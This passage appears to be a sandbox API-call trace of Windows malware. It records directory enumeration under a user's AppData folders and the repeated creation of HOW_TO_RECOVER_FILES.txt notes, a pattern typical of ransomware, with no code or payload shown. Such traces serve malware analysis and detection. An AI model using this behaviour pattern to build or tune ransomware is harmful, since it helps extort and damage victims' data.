SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ecf70) returned 1 [0217.562] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR\\KnownGameList.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\gamedvr\\knowngamelist.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0217.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207e9960) returned 1 [0217.568] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207ecd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x48 [0217.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed230) returned 1 [0217.568] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\GameDVR\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\gamedvr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0217.601] GetFileType (hFile=0x85c) returned 0x1 [0217.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1a0) returned 1 [0217.601] GetFileType (hFile=0x85c) returned 0x1 [0217.602] WriteFile (in: hFile=0x85c, lpBuffer=0x35e4808*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207ed2f8, lpOverlapped=0x0 | out: lpBuffer=0x35e4808*, lpNumberOfBytesWritten=0x207ed2f8*=0x5d0, lpOverlapped=0x0) returned 1 [0217.603] CloseHandle (hObject=0x85c) returned 1 [0217.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0217.603] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization", lpFilePart=0x0) returned 0x3c [0217.603] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabf27288, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabf27288, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0217.604] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabf27288, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabf27288, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.604] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 1 [0217.605] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 0 [0217.605] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0217.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0217.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0217.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0217.605] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization", lpFilePart=0x0) returned 0x3c [0217.605] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabf27288, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabf27288, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0217.605] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabf27288, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabf27288, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.605] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 1 [0217.605] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.606] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0217.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0217.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0217.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec890) returned 1 [0217.606] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", nBufferLength=0x105, lpBuffer=0x207ec330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", lpFilePart=0x0) returned 0x4d [0217.606] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\*", lpFindFileData=0x207ec5b0 | out: lpFindFileData=0x207ec5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0217.607] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.607] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.607] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0217.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec7d0) returned 1 [0217.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec790) returned 1 [0217.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec890) returned 1 [0217.607] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", nBufferLength=0x105, lpBuffer=0x207ec330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore", lpFilePart=0x0) returned 0x4d [0217.607] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\*", lpFindFileData=0x207ec5b0 | out: lpFindFileData=0x207ec5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0217.608] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.608] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.608] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0217.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec7d0) returned 1 [0217.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec790) returned 1 [0217.608] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207ec2e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x66 [0217.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec800) returned 1 [0217.608] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\inputpersonalization\\traineddatastore\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0217.609] GetFileType (hFile=0x85c) returned 0x1 [0217.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec770) returned 1 [0217.609] GetFileType (hFile=0x85c) returned 0x1 [0217.610] WriteFile (in: hFile=0x85c, lpBuffer=0x3603df0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207ec8c8, lpOverlapped=0x0 | out: lpBuffer=0x3603df0*, lpNumberOfBytesWritten=0x207ec8c8*=0x5d0, lpOverlapped=0x0) returned 1 [0217.611] CloseHandle (hObject=0x85c) returned 1 [0217.611] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207ecd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x55 [0217.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed230) returned 1 [0217.611] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\inputpersonalization\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0217.611] GetFileType (hFile=0x85c) returned 0x1 [0217.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1a0) returned 1 [0217.611] GetFileType (hFile=0x85c) returned 0x1 [0217.612] WriteFile (in: hFile=0x85c, lpBuffer=0x3607698*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207ed2f8, lpOverlapped=0x0 | out: lpBuffer=0x3607698*, lpNumberOfBytesWritten=0x207ed2f8*=0x5d0, lpOverlapped=0x0) returned 1 [0217.613] CloseHandle (hObject=0x85c) returned 1 [0217.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0217.613] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent", lpFilePart=0x0) returned 0x34 [0217.613] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5ea402c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdee04858, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0217.614] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5ea402c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdee04858, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.614] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xa94f64d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa94f64d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkpoints", cAlternateFileName="CHECKP~1")) returned 1 [0217.614] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xa94f64d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa94f64d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkpoints", cAlternateFileName="CHECKP~1")) returned 0 [0217.614] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0217.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0217.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0217.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0217.614] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent", lpFilePart=0x0) returned 0x34 [0217.614] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5ea402c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdee04858, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0217.615] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5ea402c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdee04858, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.615] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xa94f64d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa94f64d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkpoints", cAlternateFileName="CHECKP~1")) returned 1 [0217.615] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.615] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0217.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0217.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0217.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec890) returned 1 [0217.616] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints", nBufferLength=0x105, lpBuffer=0x207ec330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints", lpFilePart=0x0) returned 0x40 [0217.616] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\*", lpFindFileData=0x207ec5b0 | out: lpFindFileData=0x207ec5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xa94f64d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa94f64d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0217.617] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xa94f64d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa94f64d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.619] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa24f074, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa24f074, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa24f074, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGGXW3P8.dat", cAlternateFileName="9NBLGG~2.DAT")) returned 1 [0217.619] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc240, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa5bc240, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa5bc240, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH10PG8.dat", cAlternateFileName="9N76AF~1.DAT")) returned 1 [0217.619] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2e790b, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa2e790b, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa2e790b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH42THS.dat", cAlternateFileName="9NBLGG~3.DAT")) returned 1 [0217.619] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1dca08, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa1dca08, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa1dca08, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH4LS1F.dat", cAlternateFileName="9NBLGG~1.DAT")) returned 1 [0217.619] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa333d55, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa333d55, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa333d55, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH4NNS1.dat", cAlternateFileName="9NBLGG~4.DAT")) returned 1 [0217.619] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3801a9, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa3801a9, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa3801a9, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH4QGHW.dat", cAlternateFileName="9N1C6C~1.DAT")) returned 1 [0217.619] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6ed39b, ftCreationTime.dwHighDateTime=0x1d336d8, 